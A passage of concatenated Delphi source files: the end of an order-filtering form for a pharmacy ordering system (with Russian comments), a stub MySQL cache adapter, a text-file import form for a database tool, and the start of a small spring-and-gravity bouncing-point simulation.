trim(edAdresClient.Text); RecCondition.SGeoGroupPharm := trim(edGeoGroupPharm.Text); RecCondition.SignGeoGroupPharmNotDefined := chbxGeoGroupPharmNotDefined.Checked; RecCondition.SignDefinedPharm := cmbxSignDefinedPharm.ItemIndex; RecCondition.SignMark := cmbxMark.ItemIndex; RecCondition.SMarkOtherUser := edMarkOtherUser.Text; RecCondition.NMarkOtherUser := NMarkOtherUser; RecCondition.SDispatchDeclaration := edSDispatchDeclaration.Text; RecCondition.NPOST_StateID := NPOST_StateID; RecCondition.SNPOST_StateName := edSNPOST_StateName.Text; RecCondition.DNPOST_StateBegin := dtDNPOST_StateBegin.Date; RecCondition.DNPOST_StateEnd := dtDNPOST_StateEnd.Date; RecCondition.NPOST_SignStateDate := chbxNPOST_SignStateDate.Checked; RecCondition.SignPeriod_PDS := cmbxSignPeriod_PDS.ItemIndex; RecCondition.BeginDate_PDS := dtBeginDate_PDS.Date; RecCondition.EndDate_PDS := dtEndDate_PDS.Date; RecCondition.BeginClockDate_PDS := dtBeginClockDate_PDS.Date; RecCondition.BeginClockTime_PDS := dtBeginClockTime_PDS.Time; RecCondition.EndClockDate_PDS := dtEndClockDate_PDS.Date; RecCondition.EndClockTime_PDS := dtEndClockTime_PDS.Time; RecCondition.ExtId := trim(edExtId.Text); RecCondition.SrcSystem := lcSrcSystem.KeyValue; { Если признак периода даты интернет заказа <период (дата + время)>, то для удобства визуального контроля, даты календарного периода устанавливаем как даты периода (дата + время) } if RecCondition.SignOrderPeriod = 1 then begin RecCondition.BeginDate := RecCondition.BeginClockDate; RecCondition.EndDate := RecCondition.EndClockDate; end; RecCondition.SignLink := cmbxSignLink.ItemIndex; RecCondition.SignStockDate := cmbxSignStock.ItemIndex; RecCondition.SStockDateBegin := edSStockDateBegin.Text; RecCondition.SStockDateEnd := edSStockDateEnd.Text; { Платежи } RecCondition.HavePay := cmbxPay_Have.ItemIndex; RecCondition.BarCode := edPay_BarCode.Text; RecCondition.PaySumFrom := edPay_SumFrom.Text; RecCondition.PaySumTo := edPay_SumTo.Text; RecCondition.PayDateBegin := edPay_DateBegin.Text; RecCondition.PayDateEnd := edPay_DateEnd.Text; RecCondition.PayRedeliveryDateBegin := edPay_RedeliveryDateBegin.Text; RecCondition.PayRedeliveryEnd := edPay_RedeliveryDateEnd.Text; RecCondition.PayCreateDateBegin := edPay_CreateDateBegin.Text; RecCondition.PayCreateDateEnd := edPay_CreateDateRnd.Text; { Наложенные платежи } RecCondition.NPostHavePay := cmbxNPostPay_Have.ItemIndex; RecCondition.NPostBarCode := edNPostPay_BarCode.Text; RecCondition.NPostPaySumFrom := edNPostPay_SumFrom.Text; RecCondition.NPostPaySumTo := edNPostPay_SumTo.Text; RecCondition.NPostPayRedeliveryDateBegin := edNPostPay_RedeliveryDateBegin.Text; RecCondition.NPostPayRedeliveryEnd := edNPostPay_RedeliveryDateEnd.Text; RecCondition.NPostPayCreateDateBegin := edNPostPay_CreateDateBegin.Text; RecCondition.NPostPayCreateDateEnd := edNPostPay_CreateDateEnd.Text; { Включаем признак ОК-отбора и выходим } SignOkCondition := true; self.Close; end; procedure TfrmCCJSO_Condition.aControl_ClearExecute(Sender: TObject); begin { Заголовок заказа } chbxCndAccountPeriod.Checked := true; edOrder.Text := ''; edCity.Text := ''; cmbxOrderState.ItemIndex := 3; cmbxSignNewOrder.ItemIndex := 0; edPharmacy.Text := ''; RecCondition.NPharmacy := 0; cmbxSignDefinedPharm.ItemIndex := 0; edShipping.Text := ''; edPayment.Text := ''; edAllNameClient.Text := ''; edPhoneClient.Text := ''; RecCondition.bSignRefPhone := false; edAdresClient.Text := ''; edGeoGroupPharm.Text := ''; RecCondition.NGeoGroupPharm := 0; chbxGeoGroupPharmNotDefined.Checked := false; edSDispatchDeclaration.Text := ''; edSNPOST_StateName.Text := ''; NPOST_StateID := 0; dtDNPOST_StateBegin.Date := RecCondition.DNPOST_StateBegin; dtDNPOST_StateEnd.Date := RecCondition.DNPOST_StateEnd; chbxNPOST_SignStateDate.Checked := false; cmbxSignPeriod_PDS.ItemIndex := 0; cmbxMark.ItemIndex := 0; edMarkOtherUser.Text := ''; NMarkOtherUser := 0; cmbxSignLink.ItemIndex := 0; cmbxSignStock.ItemIndex := 0; edSStockDateBegin.Text := ''; edSStockDateEnd.Text := ''; edExtId.Text := ''; lcSrcSystem.KeyValue := Null; { RN-поля условия отбора } RNAllNameClient := 0; { Платежи } cmbxPay_Have.ItemIndex := 0; edPay_BarCode.Text := ''; edPay_SumFrom.Text := ''; edPay_SumTo.Text := ''; edPay_DateBegin.Text := ''; edPay_DateEnd.Text := ''; edPay_RedeliveryDateBegin.Text := ''; edPay_RedeliveryDateEnd.Text := ''; edPay_CreateDateBegin.Text := ''; edPay_CreateDateRnd.Text := ''; { Наложенные платежи } cmbxNPostPay_Have.ItemIndex := 0; edNPostPay_BarCode.Text := ''; edNPostPay_SumFrom.Text := ''; edNPostPay_SumTo.Text := ''; edNPostPay_RedeliveryDateBegin.Text := ''; edNPostPay_RedeliveryDateEnd.Text := ''; edNPostPay_CreateDateBegin.Text := ''; edNPostPay_CreateDateEnd.Text := ''; ShowGets; end; procedure TfrmCCJSO_Condition.aControl_CloseExecute(Sender: TObject); begin self.Close; end; procedure TfrmCCJSO_Condition.aValueFieldChangeExecute(Sender: TObject); begin ShowGets; end; procedure TfrmCCJSO_Condition.aSlShippingExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFRefGenAutoShipping); frmReference.SetReadOnly(cFReferenceYesReadOnly); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then edShipping.Text := DescrSelect; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlAllNameClientExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFRefGenAutoShipName); frmReference.SetReadOnly(cFReferenceYesReadOnly); //frmReference.SetSignLargeDataSet(1); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; RNAllNameClient := frmReference.GetRowIDSelect; if length(DescrSelect) > 0 then edAllNameClient.Text := DescrSelect; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlPhoneClientExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFRefGenAutoPhoneClient); frmReference.SetReadOnly(cFReferenceYesReadOnly); frmReference.SetSignLargeDataSet(cFReferenceSignLargeDS); frmReference.SetSignSlaveSection(1); frmReference.SetPRN(RNAllNameClient); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then begin edPhoneClient.Text := DescrSelect; RecCondition.bSignRefPhone := true; end; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlAdresClientExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFRefGenAutoAdresClient); frmReference.SetReadOnly(cFReferenceYesReadOnly); //frmReference.SetSignLargeDataSet(1); frmReference.SetSignSlaveSection(1); frmReference.SetPRN(RNAllNameClient); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then edAdresClient.Text := DescrSelect; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlPharmacyExecute(Sender: TObject); var DescrSelect : string; RNSelect : integer; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFReferencePharmacy); frmReference.SetReadOnly(cFReferenceYesReadOnly); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; RNSelect := frmReference.GetRowIDSelect; if length(DescrSelect) > 0 then begin edPharmacy.Text := DescrSelect; RecCondition.NPharmacy := RNSelect; end; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlGeoGroupPharmExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFDicGroupPharm); frmReference.SetReadOnly(cFReferenceNoReadOnly); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then begin edGeoGroupPharm.Text := DescrSelect; RecCondition.NGeoGroupPharm := frmReference.GetRowIDSelect; chbxGeoGroupPharmNotDefined.Checked := false; end; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.chbxGeoGroupPharmNotDefinedClick(Sender: TObject); begin if chbxGeoGroupPharmNotDefined.Checked then begin edGeoGroupPharm.Text := ''; RecCondition.NGeoGroupPharm := 0; end; ShowGets; end; procedure TfrmCCJSO_Condition.aSlMarkOtherUserExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFReferenceUserBirdAva); frmReference.SetReadOnly(cFReferenceYesReadOnly); frmReference.SetSignUserBirdAvaExcludCurrent(1); frmReference.SetUser(RecCondition.USER); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then begin edMarkOtherUser.Text := DescrSelect; NMarkOtherUser := frmReference.GetRowIDSelect; end; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlCityExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFJSOAutoRefCity); frmReference.SetReadOnly(cFReferenceYesReadOnly); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then edCity.Text := DescrSelect; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlSNPOST_StateNameExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFNPostRefDocumentStatuses); frmReference.SetReadOnly(cFReferenceYesReadOnly); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then begin edSNPOST_StateName.Text := DescrSelect; NPOST_StateID := frmReference.GetRowIDSelect; end; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.cmbxSignLinkChange(Sender: TObject); begin ShowGetsEnable_ActionLink(cmbxSignLink.ItemIndex); aValueFieldChange.Execute; end; procedure TfrmCCJSO_Condition.aSlPaymentExecute(Sender: TObject); var DescrSelect : string; begin DescrSelect := ''; try frmReference := TfrmReference.Create(Self); frmReference.SetMode(cFReferenceModeSelect); frmReference.SetReferenceIndex(cFRefPayment); frmReference.SetReadOnly(cFReferenceYesReadOnly); try frmReference.ShowModal; DescrSelect := frmReference.GetDescrSelect; if length(DescrSelect) > 0 then edPayment.Text := DescrSelect; finally frmReference.Free; end; except end; end; procedure TfrmCCJSO_Condition.aSlDateExecute(Sender: TObject); var EdText : string; DVal : TDateTime; DFormatSet : TFormatSettings; WHeaderCaption : string; Tag : integer; begin Tag := 0; if Sender is TAction then Tag := (Sender as TAction).ActionComponent.Tag else if Sender is TEdit then Tag := (Sender as TEdit).Tag; case Tag of 10: begin EdText := edPay_DateBegin.Text; WHeaderCaption := 'Дата платежа (начало)' end; 11: begin EdText := edPay_DateEnd.Text; WHeaderCaption := 'Дата платежа (окончание)' end; 20: begin EdText := edPay_RedeliveryDateBegin.Text; WHeaderCaption := 'Дата получения (начало)' end; 21: begin EdText := edPay_RedeliveryDateEnd.Text; WHeaderCaption := 'Дата получения (окончание)' end; 30: begin EdText := edPay_CreateDateBegin.Text; WHeaderCaption := 'Дата создания платежа (начало)' end; 31: begin EdText := edPay_CreateDateRnd.Text; WHeaderCaption := 'Дата создания поатежа (окончание)' end; 40: begin EdText := edNPostPay_RedeliveryDateBegin.Text; WHeaderCaption := 'Дата получения (начало)' end; 41: begin EdText := edNPostPay_RedeliveryDateEnd.Text; WHeaderCaption := 'Дата получения (окончание)' end; 50: begin EdText := edNPostPay_CreateDateBegin.Text; WHeaderCaption := 'Дата создания платежа (начало)' end; 51: begin EdText := edNPostPay_CreateDateEnd.Text; WHeaderCaption := 'Дата создания поатежа (окончание)' end; 60: begin EdText := edSStockDateBegin.Text; WHeaderCaption := 'Дата оформления заказа на складе (начало)' end; 61: begin EdText := edSStockDateEnd.Text; WHeaderCaption := 'Дата оформления заказа на складе (окончание)' end; end; if length(trim(EdText)) > 0 then begin DFormatSet.DateSeparator := '-'; DFormatSet.TimeSeparator := ':'; DFormatSet.ShortDateFormat := 'dd-mm-yyyy'; DFormatSet.ShortTimeFormat := 'hh24:mi:ss'; DVal := StrToDateTime(EdText,DFormatSet); end else DVal := now; try frmCCJSO_SetFieldDate := TfrmCCJSO_SetFieldDate.Create(Self); frmCCJSO_SetFieldDate.SetMode(cFieldDate_Shared); frmCCJSO_SetFieldDate.SetUserSession(RecSession); frmCCJSO_SetFieldDate.SetTypeExec(cSFDTypeExec_Return); frmCCJSO_SetFieldDate.SetClear(true); frmCCJSO_SetFieldDate.SetDateShared(DVal,EdText,WHeaderCaption); try frmCCJSO_SetFieldDate.ShowModal; if frmCCJSO_SetFieldDate.GetOk then begin case Tag of 10: edPay_DateBegin.Text := frmCCJSO_SetFieldDate.GetSDate; 11: edPay_DateEnd.Text := frmCCJSO_SetFieldDate.GetSDate; 20: edPay_RedeliveryDateBegin.Text := frmCCJSO_SetFieldDate.GetSDate; 21: edPay_RedeliveryDateEnd.Text := frmCCJSO_SetFieldDate.GetSDate; 30: edPay_CreateDateBegin.Text := frmCCJSO_SetFieldDate.GetSDate; 31: edPay_CreateDateRnd.Text := frmCCJSO_SetFieldDate.GetSDate; 40: edNPostPay_RedeliveryDateBegin.Text := frmCCJSO_SetFieldDate.GetSDate; 41: edNPostPay_RedeliveryDateEnd.Text := frmCCJSO_SetFieldDate.GetSDate; 50: edNPostPay_CreateDateBegin.Text := frmCCJSO_SetFieldDate.GetSDate; 51: edNPostPay_CreateDateEnd.Text := frmCCJSO_SetFieldDate.GetSDate; 60: edSStockDateBegin.Text := frmCCJSO_SetFieldDate.GetSDate; 61: edSStockDateEnd.Text := frmCCJSO_SetFieldDate.GetSDate; end; end; finally FreeAndNil(frmCCJSO_SetFieldDate); end; except on e:Exception do begin ShowMessage('Сбой при выполнении операции.' + chr(10) + e.Message); end; end; ShowGets; end; procedure TfrmCCJSO_Condition.aEdSumExecute(Sender: TObject); var EdText : string; begin EdText := ''; if not ufoTryStrToCurr((Sender as TEdit).Text) then begin ShowMessage(sMsgSumTypeCurr); (Sender as TEdit).SetFocus; end; ShowGets; end; procedure TfrmCCJSO_Condition.pgcCondirionChange(Sender: TObject); begin if pgcCondirion.ActivePage = TabJournal then aTabCheckJournal.Checked := true else if pgcCondirion.ActivePage = TabOrder then aTabCheckOrder.Checked := true else if pgcCondirion.ActivePage = TabHistory then aTabCheckHistory.Checked := true else if pgcCondirion.ActivePage = TabPay then aTabCheckPay.Checked := true else if pgcCondirion.ActivePage = TabNPostPay then aTabCheckNPostPay.Checked := true; end; procedure TfrmCCJSO_Condition.aTabCheckExecute(Sender: TObject); begin if aTabCheckJournal.Checked then pgcCondirion.ActivePage := TabJournal else if aTabCheckOrder.Checked then pgcCondirion.ActivePage := TabOrder else if aTabCheckHistory.Checked then pgcCondirion.ActivePage := TabHistory else if aTabCheckPay.Checked then pgcCondirion.ActivePage := TabPay else if aTabCheckNPostPay.Checked then pgcCondirion.ActivePage := TabNPostPay; end; end.
unit Adapt.EventGeo; //------------------------------------------------------------------------------ // модуль адаптера кэша для TClassEventGeo //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ interface uses SysUtils, ZConnection, ZDataset, Cache.Root; //------------------------------------------------------------------------------ type TEventGeoMySQL = class(TCacheDataAdapterAbstract) private FReadConnection: TZConnection; FWriteConnection: TZConnection; public constructor Create( const ReadConnection: TZConnection; const WriteConnection: TZConnection ); destructor Destroy(); override; procedure Flush(); override; procedure Action( const AObj: TCacheDataObjectAbstract; const AIsAdded: Boolean ); override; procedure DeleteRange( const AFrom: TDateTime; const ATo: TDateTime ); override; function GetDTBefore( const ADT: TDateTime ): TDateTime; override; function GetDTAfter( const ADT: TDateTime ): TDateTime; override; procedure LoadRange( const AFrom: TDateTime; const ATo: TDateTime; out RObjects: TCacheDataObjectAbstractArray ); override; end; //------------------------------------------------------------------------------ implementation //------------------------------------------------------------------------------ // TEventGeoMySQL //------------------------------------------------------------------------------ constructor TEventGeoMySQL.Create( const ReadConnection: TZConnection; const WriteConnection: TZConnection ); begin inherited Create(); // FReadConnection := ReadConnection; FWriteConnection := WriteConnection; end; destructor TEventGeoMySQL.Destroy(); begin // inherited Destroy(); end; procedure TEventGeoMySQL.Flush(); begin // end; procedure TEventGeoMySQL.Action( const AObj: TCacheDataObjectAbstract; const AIsAdded: Boolean ); begin // end; procedure TEventGeoMySQL.DeleteRange( const AFrom: TDateTime; const ATo: TDateTime ); begin // end; function TEventGeoMySQL.GetDTBefore( const ADT: TDateTime ): TDateTime; begin // end; function TEventGeoMySQL.GetDTAfter( const ADT: TDateTime ): TDateTime; begin // end; procedure TEventGeoMySQL.LoadRange( const AFrom: TDateTime; const ATo: TDateTime; out RObjects: TCacheDataObjectAbstractArray ); begin // end; end.
unit ibSHTXTLoaderFrm; interface uses SHDesignIntf, ibSHDesignIntf, ibSHComponentFrm, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, SynEdit, pSHSynEdit, ComCtrls, ExtCtrls, StdCtrls, Menus; type TibSHTXTLoaderForm = class(TibBTComponentForm) Panel1: TPanel; Label1: TLabel; ComboBox1: TComboBox; Panel2: TPanel; Bevel1: TBevel; Bevel2: TBevel; Image1: TImage; Panel6: TPanel; Panel7: TPanel; ProgressBar1: TProgressBar; Panel3: TPanel; Panel4: TPanel; pSHSynEdit1: TpSHSynEdit; Panel5: TPanel; pSHSynEdit2: TpSHSynEdit; Splitter1: TSplitter; PopupMenuMessage: TPopupMenu; pmiHideMessage: TMenuItem; Clear1: TMenuItem; procedure Panel1Resize(Sender: TObject); procedure pmiHideMessageClick(Sender: TObject); procedure Clear1Click(Sender: TObject); procedure Panel2Resize(Sender: TObject); procedure ComboBox1Enter(Sender: TObject); private { Private declarations } FTXTLoaderIntf: IibSHTXTLoader; FRecordCount: Integer; function GetSaveFile: string; procedure OnTextNotify(Sender: TObject; const Text: String); protected procedure EditorMsgVisible(AShow: Boolean = True); override; { ISHFileCommands } function GetCanOpen: Boolean; override; procedure Open; override; { ISHRunCommands } function GetCanRun: Boolean; override; function GetCanPause: Boolean; override; function GetCanCommit: Boolean; override; function GetCanRollback: Boolean; override; procedure Run; override; procedure Pause; override; procedure Commit; override; procedure Rollback; override; function DoOnOptionsChanged: Boolean; override; function GetCanDestroy: Boolean; override; public { Public declarations } constructor Create(AOwner: TComponent; AParent: TWinControl; AComponent: TSHComponent; ACallString: string); override; destructor Destroy; override; property TXTLoader: IibSHTXTLoader read FTXTLoaderIntf; end; var ibSHTXTLoaderForm: TibSHTXTLoaderForm; implementation uses ibSHconsts, ibSHMessages; {$R *.dfm} { TibSHTXTLoaderForm } constructor TibSHTXTLoaderForm.Create(AOwner: TComponent; AParent: TWinControl; AComponent: TSHComponent; ACallString: string); begin inherited Create(AOwner, AParent, AComponent, ACallString); Supports(Component, IibSHTXTLoader, FTXTLoaderIntf); Assert(TXTLoader <> nil, 'TXTLoader = nil'); Assert(TXTLoader.BTCLDatabase <> nil, 'TXTLoader.BTCLDatabase = nil'); Editor := pSHSynEdit1; Editor.Lines.Clear; Editor.Lines.Add(Format('/* %s */', [SEnterYourDMLStatementImportCriteria])); EditorMsg := pSHSynEdit2; EditorMsg.Lines.Clear; EditorMsg.Parent.Height := Trunc(EditorMsg.Parent.Parent.ClientHeight * 2/3); EditorMsgVisible; FocusedControl := Editor; RegisterEditors; // ShowHideRegion(False); DoOnOptionsChanged; // Panel6.Caption := EmptyStr; TXTLoader.OnTextNotify := OnTextNotify; if FileExists(GetSaveFile) then ComboBox1.Items.LoadFromFile(GetSaveFile); ComboBox1.Text := SEnterYourFileImportCriteria; end; destructor TibSHTXTLoaderForm.Destroy; begin inherited Destroy; end; procedure TibSHTXTLoaderForm.EditorMsgVisible(AShow: Boolean = True); begin if AShow then begin EditorMsg.Parent.Visible := True; Splitter1.Visible := True; end else begin EditorMsg.Parent.Visible := False; Splitter1.Visible := False; end; end; function TibSHTXTLoaderForm.GetCanOpen: Boolean; begin Result := not TXTLoader.Active; end; procedure TibSHTXTLoaderForm.Open; var OpenDialog: TOpenDialog; begin OpenDialog := TOpenDialog.Create(nil); try OpenDialog.Filter := Format('%s', [SOpenDialogTXTLoaderFilter]); if OpenDialog.Execute then begin ComboBox1.Text := OpenDialog.FileName; TXTLoader.FileName := ComboBox1.Text; end; finally FreeAndNil(OpenDialog); end; end; function TibSHTXTLoaderForm.GetCanRun: Boolean; begin Result := not TXTLoader.Active and not AnsiSameText(ComboBox1.Text, SEnterYourFileImportCriteria) and (Length(ComboBox1.Text) > 0); end; function TibSHTXTLoaderForm.GetCanPause: Boolean; begin Result := TXTLoader.Active; end; function TibSHTXTLoaderForm.GetCanCommit: Boolean; begin Result := TXTLoader.InTransaction; end; function TibSHTXTLoaderForm.GetCanRollback: Boolean; begin Result := TXTLoader.InTransaction; end; procedure TibSHTXTLoaderForm.Run; begin if TXTLoader.InTransaction then if not Designer.ShowMsg(Format('%s', ['Previous transaction is active. Continue?']), mtConfirmation) then Exit; TXTLoader.InsertSQL.Assign(Editor.Lines); TXTLoader.FileName := ComboBox1.Text; if ComboBox1.Items.IndexOf(TXTLoader.FileName) <> -1 then ComboBox1.Items.Delete(ComboBox1.Items.IndexOf(TXTLoader.FileName)); ComboBox1.Items.Insert(0, TXTLoader.FileName); ComboBox1.Text := TXTLoader.FileName; ComboBox1.Items.SaveToFile(GetSaveFile); if not TXTLoader.InTransaction then EditorMsg.Clear; EditorMsg.Parent.Height := Trunc(EditorMsg.Parent.Parent.ClientHeight * 2/3); EditorMsgVisible; FRecordCount := TXTLoader.GetStringCount; if TXTLoader.Verbose then Panel2.Visible := True; try Screen.Cursor := crHourGlass; TXTLoader.Execute; finally Panel2.Visible := False; Screen.Cursor := crDefault; end; end; procedure TibSHTXTLoaderForm.Pause; begin TXTLoader.Active := False; Panel2.Visible := False; Screen.Cursor := crDefault; end; procedure TibSHTXTLoaderForm.Commit; begin TXTLoader.Commit; end; procedure TibSHTXTLoaderForm.Rollback; begin TXTLoader.Rollback; end; function TibSHTXTLoaderForm.DoOnOptionsChanged: Boolean; begin Result := inherited DoOnOptionsChanged; EditorMsg.BottomEdgeVisible := True; EditorMsg.RightEdge := 0; EditorMsg.WantReturns := False; EditorMsg.WordWrap := False; end; function TibSHTXTLoaderForm.GetCanDestroy: Boolean; begin Result := inherited GetCanDestroy; if TXTLoader.BTCLDatabase.WasLostConnect then Exit; if TXTLoader.Active then Designer.ShowMsg(Format('Import process is running...', []), mtInformation); Result := Assigned(TXTLoader) and not TXTLoader.Active; if TXTLoader.InTransaction then begin case Designer.ShowMsg(Format('%s', ['Transaction is active. Should it be committed?'])) of IDCANCEL: begin Result := False; end; IDYES: begin TXTLoader.Commit; Result := not TXTLoader.InTransaction; end; IDNO: begin TXTLoader.Rollback; Result := not TXTLoader.InTransaction; end; end; end; end; function TibSHTXTLoaderForm.GetSaveFile: string; begin Result := Format('%s%s', [TXTLoader.BTCLDatabase.DataRootDirectory, STXTLoaderFile]); if not SysUtils.DirectoryExists(ExtractFilePath(Result)) then ForceDirectories(ExtractFilePath(Result)); end; procedure TibSHTXTLoaderForm.OnTextNotify(Sender: TObject; const Text: String); begin if Pos(SLineBreak, Text) > 0 then Designer.TextToStrings(Text, EditorMsg.Lines) else EditorMsg.Lines.Add(Text); EditorMsg.CaretY := EditorMsg.Lines.Count; ProgressBar1.Position := 100 * TXTLoader.GetCurLineNumber div FRecordCount; end; procedure TibSHTXTLoaderForm.Panel1Resize(Sender: TObject); begin ComboBox1.Width := ComboBox1.Parent.ClientWidth - ComboBox1.Left * 2; ProgressBar1.Width := ProgressBar1.Parent.ClientWidth - 8; end; procedure TibSHTXTLoaderForm.pmiHideMessageClick(Sender: TObject); begin EditorMsgVisible(False); end; procedure TibSHTXTLoaderForm.Clear1Click(Sender: TObject); begin EditorMsg.ClearAll; end; procedure TibSHTXTLoaderForm.Panel2Resize(Sender: TObject); begin ProgressBar1.Width := ProgressBar1.Parent.ClientWidth - 8; end; procedure TibSHTXTLoaderForm.ComboBox1Enter(Sender: TObject); begin if AnsiSameText(ComboBox1.Text, SEnterYourFileImportCriteria) then begin ComboBox1.Text := ' '; ComboBox1.Text := EmptyStr; ComboBox1.Invalidate; ComboBox1.Repaint; end; end; end.
unit fzBSim; interface uses SysUtils, Classes, Windows, Graphics, BenTools; const BALL = 3; // Radius type TBPoint = class Num : integer; Selected : boolean; Locked : boolean; PosX : double; PosY : double; VelX : double; VelY : double; function PointDis(Pt2: TBPoint): double; end; TBLink = class Pt1 : integer; // Index in the PointList Pt2 : integer; LinkDis : double; constructor Create; end; TPointList = class(TOwnList) end; TLinkList = class(TOwnList) end; TBounceSim = class protected procedure UpdateObjects; procedure UpdatePos(var Pos, Vel, Vel2: double; Min, Max: integer); procedure Dampen(var VelX, VelY: double; vx, vy, Sgn: double); public Iter : integer; GravX : double; GravY : double; BounceFric : double; mx, my : integer; // Max X and Max Y boundary PointList : TPointList; LinkList : TLinkList; constructor Create; destructor Destroy; override; procedure Draw(c: TCanvas); procedure RunIteration(c: TCanvas); function NearestPoint(x, y: integer): TBPoint; end; var AirFric : double; LinkStr : double; implementation // ****************************************************************** // TBPoint // ****************************************************************** function TBPoint.PointDis(Pt2: TBPoint): double; var xd, yd : double; begin xd := PosX - Pt2.PosX; yd := PosY - Pt2.PosY; Result := Sqrt(xd*xd + yd*yd); end; // ****************************************************************** // TBLink // ****************************************************************** constructor TBLink.Create; begin inherited; end; // ****************************************************************** // TBounceSim // ****************************************************************** constructor TBounceSim.Create; begin GravX := 0; GravY := 1; Iter := 0; BounceFric := 0.96; PointList := TPointList.Create; LinkList := TLinkList.Create; end; destructor TBounceSim.Destroy; begin PointList.Free; LinkList.Free; inherited; end; procedure TBounceSim.RunIteration(c: TCanvas); begin Iter := Iter + 1; UpdateObjects; Draw(c); end; procedure TBounceSim.UpdatePos(var Pos, Vel, Vel2: double; Min, Max: integer); begin Vel := Vel * AirFric; if ((Pos + Vel) < Min) or ((Pos + Vel) > Max) then begin Vel := -Vel * BounceFric; Vel2 := Vel2 * BounceFric; if Pos < Min then Pos := Min; if Pos > Max then Pos := Max; end else Pos := Pos + Vel; end; procedure TBounceSim.Dampen(var VelX, VelY: double; vx, vy, Sgn: double); begin end; procedure TBounceSim.UpdateObjects; var i : integer; l : TBLink; p1, p2 : TBPoint; xd, yd : double; Dis, Inv : double; f : double; sgn : double; begin for i := 0 to LinkList.Count-1 do begin l := LinkList[i]; p1 := PointList[l.Pt1]; p2 := PointList[l.Pt2]; // Update Velocity from Links xd := p1.PosX - p2.PosX; yd := p1.PosY - p2.PosY; Dis := Sqrt(xd * xd + yd * yd); Inv := 1 / Dis; xd := xd * Inv; yd := yd * Inv; f := (Dis - l.LinkDis) * LinkStr; if f > 0 then sgn := 1 else sgn := -1; // Point 1 moves toward Point 2 with force f in the direction of V(xd,yd) // Point 2 moves toward Point 1 with force f in the direction of V(-xd,-yd) p1.VelX := p1.VelX - xd * f; p1.VelY := p1.VelY - yd * f; p2.VelX := p2.VelX + xd * f; p2.VelY := p2.VelY + yd * f; Dampen(p1.VelX, p1.VelY, -xd, -yd, sgn); Dampen(p2.VelX, p2.VelY, xd, yd, sgn); end; for i := 0 to PointList.Count-1 do begin p1 := PointList[i]; // Update Velocity from Gravity p1.VelX := p1.VelX + GravX / 5; p1.VelY := p1.VelY + GravY / 5; if p1.Locked then begin p1.VelX := 0; p1.VelY := 0; end; UpdatePos(p1.PosX, p1.VelX, p1.VelY, 0 + BALL, mx-1-BALL); UpdatePos(p1.PosY, p1.VelY, p1.VelX, 0 + BALL, my-1-BALL); end; end; procedure TBounceSim.Draw(c: TCanvas); var R : TRect; i : integer; l : TBLink; p1, p2 : TBPoint; x, y : integer; begin c.Brush.Style := bsSolid; c.Brush.Color := clBtnFace; R := Rect(0, 0, mx, my); c.FillRect(R); for i := 0 to LinkList.Count-1 do begin l := LinkList[i]; p1 := PointList[l.Pt1]; p2 := PointList[l.Pt2]; c.MoveTo(Round(p1.PosX), Round(p1.PosY)); c.LineTo(Round(p2.PosX), Round(p2.PosY)); end; for i := 0 to PointList.Count-1 do begin p1 := PointList[i]; x := Round(p1.PosX); y := Round(p1.PosY); if p1.Selected then c.Brush.Color := clRed else c.Brush.Color := clGreen; c.Ellipse(x-BALL, y-BALL, x+BALL, y+BALL); end; end; function TBounceSim.NearestPoint(x, y: integer): TBPoint; var i : integer; MinDis : double; Dis : double; p1 : TBPoint; xd,yd : double; begin Result := nil; MinDis := 1e30; for i := 0 to PointList.Count-1 do begin p1 := PointList[i]; xd := x - p1.PosX; yd := y - p1.PosY; Dis := Sqrt(xd*xd + yd*yd); if Dis < MinDis then begin MinDis := Dis; Result := p1; end; end; end; initialization AirFric := 